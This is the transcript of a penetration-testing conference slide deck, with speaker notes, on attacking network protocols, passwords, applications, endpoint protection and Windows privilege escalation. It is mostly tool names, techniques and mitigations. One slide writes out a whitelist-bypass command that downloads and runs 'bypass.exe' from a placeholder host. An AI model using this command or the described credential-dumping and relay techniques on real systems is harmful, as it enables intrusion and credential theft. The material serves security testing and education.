Attack All the Layers - What's Working in Penetration Testing
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The document discusses techniques for attacking different layers during a penetration test. It covers attacking protocols like ARP, NBNS, SMB, PXE and DTP. It also discusses attacking passwords by cracking hashes, dictionary attacks, and dumping passwords in cleartext. Additionally, it covers attacking applications, bypassing endpoint protection, and escalating privileges on Windows systems locally and within a domain. The overall message is that penetration testers should attack all layers of the stack during a test to fully evaluate security.
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Attack All the Layers - What's Working in Penetration Testing
- 1. Attack All the Layers: What’s Working During Pen Tests Scott Sutherland and Karl Fosaaen
- 2. Introductions • Scott Sutherland ‒ Principal Security Consultant @ NetSPI ‒ Twitter: @_nullbind • Karl Fosaaen ‒ Senior Security Consultant @ NetSPI ‒ Twitter: @kfosaaen We specialize in both things and stuff!
- 3. Overview • Why do Companies Pen Test? • Attacking Protocols • Attacking Passwords • Attacking Applications • Bypassing End Point Protection • Windows Escalation • Conclusions
- 4. Why do companies pen test? • Compliance requirements • Evaluate risks associated with an acquisition or partnership • Validate preventative controls • Validate detective controls • Prioritize internal security initiatives • Proactively prevent breaches
- 5. Overview • Attacking Protocols • Attacking Passwords • Attacking Applications • Bypassing End Point Protection • Windows Escalation
- 6. Attacking protocols • ARP: Address Resolution Protocol • NBNS: NetBIOS Name Service • SMB: Server Message Block • PXE: Preboot Execution Environment • DTP: Dynamic Trunking Protocol
- 8. Attacking protocols: ARP • General ‒MAC to IP association ‒Layer 2 • Conditions ‒Independent of user action ‒Broadcast network • Attacks ‒MITM Monitoring ‒MITM Injection ‒DOS
- 10. Attacking protocols: ARP • Common mitigating controls: ‒ Dynamic ARP Inspection ‒ Port Security ‒ Static Routes (not recommended)
- 11. Attacking protocols: NBNS / LLMNR NetBIOS Name Service
- 12. Attacking protocols: NBNS • General ‒ IP to hostname association ‒ Layer 5 / 7 • Constraints ‒ Dependent on user action ‒ Broadcast Network ‒ Windows Only • Attacks ‒ MITM Monitoring ‒ MITM Injection ‒ DOS
- 16. Attacking protocols: NBNS • Common mitigating controls: ‒ Create a WPAD (Web Proxy Auto-Discovery) server entry in DNS ‒ Disable NBNS (recommended) • Might cause issues with legacy apps ‒ Disable insecure authentication to help • limit impact of exposed hashes ‒ Enable packet signing to help prevent • SMB Relay attacks
- 18. Attacking protocols: SMB • General ‒ SMB is the come back kid! ‒ Layer 7 • Constraints ‒ Dependent on user action ‒ Any routable network ‒ No connecting back to originating host • Attacks ‒ Command execution ‒ Shells..aaand shells
- 20. Attacking protocols: SMB • Historically, SMB Relay has been used to: ‒ Execute arbitrary commands ‒ Obtain shells • Lately the community has been developing tools for doing things like: ‒ LDAP queries ‒ SQL queries ‒ Exchange services ‒ Mounting file systems
- 21. Attacking protocols: SMB • Common mitigating controls: ‒ Enable packet signing to help prevent SMB Relay attacks ‒ Apply really old patches like if you missed out on the last decade…
- 23. Attacking protocols: PXE • General ‒ DHCP • Constraints ‒ Broadcast domain • Attacks ‒ Command execution ‒ Access to file system/images
- 24. Attacking protocols: PXE • Common mitigating controls: ‒ Isolate networks ‒ Add device validation
- 26. Attacking protocols: DTP • General ‒ 802.1Q encapsulation is in use ‒ Layer 2 • Constraints ‒ Independent of user action ‒ Trunking is set to enabled • or auto on switch port • Attacks ‒ Monitor network traffic for all VLANs, because all VLANs are • allowed on a trunk by default • *Full VLAN hopping
- 31. Attacking protocols: DTP • Common mitigating controls: ‒ Use dedicated VLAN ID for all trunking ports ‒ Disable all unused ports and place them on a non-routable VLAN ‒ Configure all user ports as access ports to prevent trunk negotiation ‒ Configure frames with two 802.1Q headers ‒ Configure strong VACLs
- 32. Overview • Attacking Protocols • Attacking Passwords • Attacking Applications • Bypassing End Point Protection • Windows Escalation
- 33. Attacking passwords • Hashes and Cracking (Offline) • Dictionary Attacks (Online) • Dump in Cleartext!
- 34. Attacking Passwords Tool Function Year Pass the Hash Passing Hashes 1997 Rainbow Tables Password Cracking 2000s SMB Relay Relaying Captured Hashes 2001 John the Ripper Password Cracking 2001 NetNTLM.pl Cracking Network Hashes 2007 PTH Toolkit Pass all the Hashes 2008 Hashcat CPU and GPU Cracking 2010 WCE and Mimikatz Cleartext Windows Creds 2012
- 35. Attacking Passwords: Hashes • What are hashes? ‒ A non-reversible way of storing passwords ‒ Operating systems and applications ‒ Lots of types • LM/NTLM • Network and Local • MD5 • SHA • descrypt
- 36. Attacking Passwords: Hashes • How do we get hashes? ‒ Cain and Abel ‒ fgdump ‒ Metasploit ‒ Mimikatz ‒ Databases ‒ Config files
- 37. Attacking Passwords: Cracking • Cracking Hashes ‒ Rainbow Tables ‒ John the Ripper ‒ oclHashcat ‒ CPU versus GPU
- 38. Attacking Passwords: Cracking 0 100 200 300 400 500 600 Minutes for Six Character Brute Force CPU GPU
- 40. Attacking Passwords: Passing Hashes • Passing Hashes ‒ Metasploit ‒ psexec ‒ winexec ‒ PTH toolkit
- 41. Attacking Passwords: Dictionary • Online Vs. Offline Attacks • Dictionary Attacks ‒ Enumerate users • Null SMB logins, RPC, *SID BF, SNMP, LDAP, SharePoint, etc. ‒ Attack! • Are users getting smarter? ‒ Sort of… • “Summer2014” meets password • complexity requirements
- 42. Attacking Passwords: Cleartext • Common application configs • Reversible Formats ‒ Find in files ‒ Groups.xml ‒ Unattend.xml ‒ Registry • WCE • Mimikatz
- 43. Overview • Attacking Protocols • Attacking Passwords • Attacking Applications • Bypassing End Point Protection • Windows Escalation
- 44. Attacking Applications: Common • Default and weak passwords • SQL injection • RFI/web shells • Web directory traversals • UNC path injection + SMB relay • Critical missing patches
- 45. Attacking Applications: Breakouts • Obtain a common dialog box • Bypass folder path and file type restrictions • Bypass file execution restrictions • Bypass file black/white lists • Access to native consoles and management tools • Downloading and use third party applications
- 46. Overview • Attacking Protocols • Attacking Passwords • Attacking Applications • Bypassing End Point Protection • Windows Escalation
- 47. Bypassing EPP: Anti-virus • PowerShell code Injection • Execute off network share • Clone resource tables • Modify import tables • Pack files
- 48. Bypassing EPP: App White List • Execution via approved apps ‒ Powershell Code Injection ‒ Rundll32 mydll,DLLMain@12 ‒ IEExec http://x.x.x.x:8080/bypass.exe • Exceptions ‒ File name ‒ Publisher ‒ Directory • Excessive privileges ‒ Services and policy
- 49. Overview • Attacking Protocols • Attacking Passwords • Attacking Applications • Bypassing End Point Protection • Windows Escalation
- 50. Windows Escalation: Overview • Privilege Escalation Goals • Local Privilege Escalation • Domain Privilege Escalation
- 51. Windows Escalation: Goals • Local Escalation Goals ‒ Find clear text or reversible credentials with local administrative privileges ‒ Get application to run commands as Administrator or LocalSystem • Domain Escalation Goals ‒ Find Domain Admins ‒ Impersonate Domain Admins
- 52. Windows Escalation: Local • Local Escalation ‒ *Clear text credentials in files, registry, over network ‒ Insecure service paths ‒ DLL preloading ‒ DLL and exe replacement ‒ Binary planting in auto-run locations (reg and file system) ‒ Modifying schedule tasks ‒ *Local and remote exploits ‒ Leverage local application like IIS, SQL Server etc ‒ *UNC path injection + SMB Relay / Capture + crack
- 53. Windows Escalation: Domain • Domain Escalation – Find DAs ‒ Check locally! (Processes, Tokens, Cachedump) ‒ Review active sessions – netsess (veil) ‒ Review remote processes - tasklist ‒ Service Principal Names (SPN) – get-spn ‒ Scanning Remote Systems for NetBIOS Information - nbtscan ‒ Pass the hash to other systems ‒ PowerShell shell spraying ‒ WINRM/WINRS shell spraying ‒ Psexec shell spraying
- 54. Windows Escalation: Domain • Domain Escalation – Impersonate DAs ‒ Dump passwords from memory with Mimikatz ‒ Migrate into the Domain Admin’s process ‒ Steal Domain Admins delegation tokens with Incognito ‒ Dump cached domain admin hashes with cachedump ‒ Relatively new techniques • PTH using Kerberos ticket
- 56. Conclusions • Most Networks ‒ Kind of broken • Most Protocols ‒ Kind of broken • Most Applications ‒ Kind of broken All can kind of be fixed
- 57. Attack all the layers! • Any questions?
- 58. Attack all the layers! • Scott Sutherland ‒ Principal Security Consultant ‒ Twitter: @_nullbind • Karl Fosaaen ‒ Senior Security Consultant ‒ Twitter: @kfosaaen
Notas del editor
- Validation controls = ids/ips/waf incident response
- These are protocols that are commonly targeted. However, there are many others:Address Resolution Protocol (ARP): Cain, ettercap, interceptor-ng, Subterfuge, easycredsNetBIOS Name Service (NBNS): MetaSploit and responder Link-local Multicast Name Resolution (LLMNR): MetaSploit and responder Pre-Execution Environment (PXE): MetaSploitDynamic Trunking Protocol (DTP): Yersinia Spanning-Tree Protocol (STP): Yersinia, ettercap (lamia plugin) Hot Stand-by Router Protocol (HSRP): Yersinia Dynamic Host Configuration Protocol (DHCP): Interceptor, MetaSploit, manual setup Domain Name Services (DNS): MetaSploit, ettercap, dsniff, zodiac, ADMIdPackVLAN Tunneling Protocol (VTP): Yersinia, voiphopper, or modprobe+ifconfig
- Been an issue since the birth of the internet and hasn’t really gone away.ARP is a broadcast protocol used for IP to MAC relationshipsLimited to broadcast network- No encryption or validation allows for spoofingMITM Step 1 – tell server you are a clientMITM Step 2 - tell client you are the serverCan also broadcast as gateway to all systems on subnet, but your most likely not a router – so don’t do thatCan also dos very easily
- Been an issue since the birth of the internet and hasn’t really gone away.ARP is a broadcast protocol used for IP to MAC relationshipsLimited to broadcast network- No encryption or validation allows for spoofingMITM Step 1 – tell server you are a clientMITM Step 2 - tell client you are the serverCan also broadcast as gateway to all systems on subnet, but your most likely not a router – so don’t do thatCan also dos very easily
- Been an issue since the birth of the internet and hasn’t really gone away.ARP is a broadcast protocol used for IP to MAC relationshipsLimited to broadcast network- No encryption or validation allows for spoofingMITM Step 1 – tell server you are a clientMITM Step 2 - tell client you are the serverCan also broadcast as gateway to all systems on subnet, but your most likely not a router – so don’t do thatCan also dos very easily
- Go with what you like.
- Been an issue since the birth of the internet and hasn’t really gone away.ARP is a broadcast protocol used for IP to MAC relationshipsLimited to broadcast network- No encryption or validation allows for spoofingMITM Step 1 – tell server you are a clientMITM Step 2 - tell client you are the serverCan also broadcast as gateway to all systems on subnet, but your most likely not a router – so don’t do thatCan also dos very easily
- Windows Protocol- Kind of like a back up to DNS- Host file- DNS- NBNSRace condition Limited to broadcast network
- Go with what you like. http basichttp_ntlmauthhttp_relaysmb
- Been an issue since the birth of the internet and hasn’t really gone away.ARP is a broadcast protocol used for IP to MAC relationshipsLimited to broadcast network- No encryption or validation allows for spoofingMITM Step 1 – tell server you are a clientMITM Step 2 - tell client you are the serverCan also broadcast as gateway to all systems on subnet, but your most likely not a router – so don’t do thatCan also dos very easily
- In summary, an SMB Relay attack can be loosely defined as the process of relaying SMB authentication from one system to another via a man-in-the-middle (MITM) position. Based on my five whole minutes of wiki research I now know that the issues that allow smb attacks to be succesful were identified as a threat in the late 90’s. However, it wasn’t until 2001 that Sir Dystic publicly released a tool that could be used to perform practical attacks. Seven years later Microsoft got around to partially fixing the issue with a patch, but it only prevents attackers from relaying back to the originating system.I guess the good news is that SMB relay attacks can be prevented by enabling and requiring smb message signing, but the bad news is that most environments are configured in such a way that attackers can still relay authentication to other systems.2001 was a while ago, so I got out my calculator and did some hardcore math to figure out that this has been a well known and practiced attack for at least 11 years. During that time there have been many tools and projects dedicated to taking advantage of the attack technique. Some of the more popular ones include Metasploit, Squirtle, and ZackAttack.Anyway, let’s get back on track…
- Image showing MITM
- Go with what you like. http basichttp_ntlmauthhttp_relaysmb
- Been an issue since the birth of the internet and hasn’t really gone away.ARP is a broadcast protocol used for IP to MAC relationshipsLimited to broadcast network- No encryption or validation allows for spoofingMITM Step 1 – tell server you are a clientMITM Step 2 - tell client you are the serverCan also broadcast as gateway to all systems on subnet, but your most likely not a router – so don’t do thatCan also dos very easily
- In summary, an SMB Relay attack can be loosely defined as the process of relaying SMB authentication from one system to another via a man-in-the-middle (MITM) position. Based on my five whole minutes of wiki research I now know that the issues that allow smb attacks to be succesful were identified as a threat in the late 90’s. However, it wasn’t until 2001 that Sir Dystic publicly released a tool that could be used to perform practical attacks. Seven years later Microsoft got around to partially fixing the issue with a patch, but it only prevents attackers from relaying back to the originating system.I guess the good news is that SMB relay attacks can be prevented by enabling and requiring smb message signing, but the bad news is that most environments are configured in such a way that attackers can still relay authentication to other systems.2001 was a while ago, so I got out my calculator and did some hardcore math to figure out that this has been a well known and practiced attack for at least 11 years. During that time there have been many tools and projects dedicated to taking advantage of the attack technique. Some of the more popular ones include Metasploit, Squirtle, and ZackAttack.Anyway, let’s get back on track…
- Been an issue since the birth of the internet and hasn’t really gone away.ARP is a broadcast protocol used for IP to MAC relationshipsLimited to broadcast network- No encryption or validation allows for spoofingMITM Step 1 – tell server you are a clientMITM Step 2 - tell client you are the serverCan also broadcast as gateway to all systems on subnet, but your most likely not a router – so don’t do thatCan also dos very easily
- the unauthorized switch can send DTP frames and form a trunk with the Company Switch. If the attacker can establish a trunk link to the Company switch, it receives traffic to all VLANs through the trunk because all VLANs are allowed on a trunk by default.
- Image showing MITM
- Image showing MITM
- Image showing MITM
- Image showing MITM
- Touch on common tools and pitfalls (account lockouts)
- Default and weak passwords for everythingTools: Nmap, Nessus, Web Scour, Manuals, GoogleSQL injectionTools: Manually, web scanners, SQL Ninja, SQL Map, MetasploitRFI/Web Shells (JBOSS, Tomcat, etc.)Tools: Metasploit, Fuzzdb, and other web shelleryWeb directory traversalsTools: Manually, web scanners, Fuzzdb, Metasploit, Critical Missing Patches (SEP etc)Tools: Metasploit, exploitdb exploits, etc
- Execution via approved apps - Powershell Code Injection - Rundll32 - IEExecDirectory Exceptions - GACDisable ServicesPoisoning allowed file list and blocking updates via hosts filePoisoning updates
- This is a non-linear process so be aware that some techniques can be used at many levels.These are the common escalation scenarios seen during penetration testing.
- Localuser Local AdministratorExcessive local group privileges (admin or power users)Cleartext credentialsSysprep (unattend.xml/ini/txt)Config files, scripts, logs, desktop foldersTech support calls filesWeak application configurations that allow: Restarting or reconfiguring servicesReplacing application files DLL pre or side loading Executable injection via poorly registered services C:\Program Files (x86) vs “C:\Program Files (x86)” Local and remote exploits (Metasploit: getsystem)
- This is a non-linear process so be aware that some techniques can be used at many levels.These are the common escalation scenarios seen during penetration testing.
- This is a non-linear process so be aware that some techniques can be used at many levels.These are the common escalation scenarios seen during penetration testing.
- This is a non-linear process so be aware that some techniques can be used at many levels.These are the common escalation scenarios seen during penetration testing.
- Yes it did.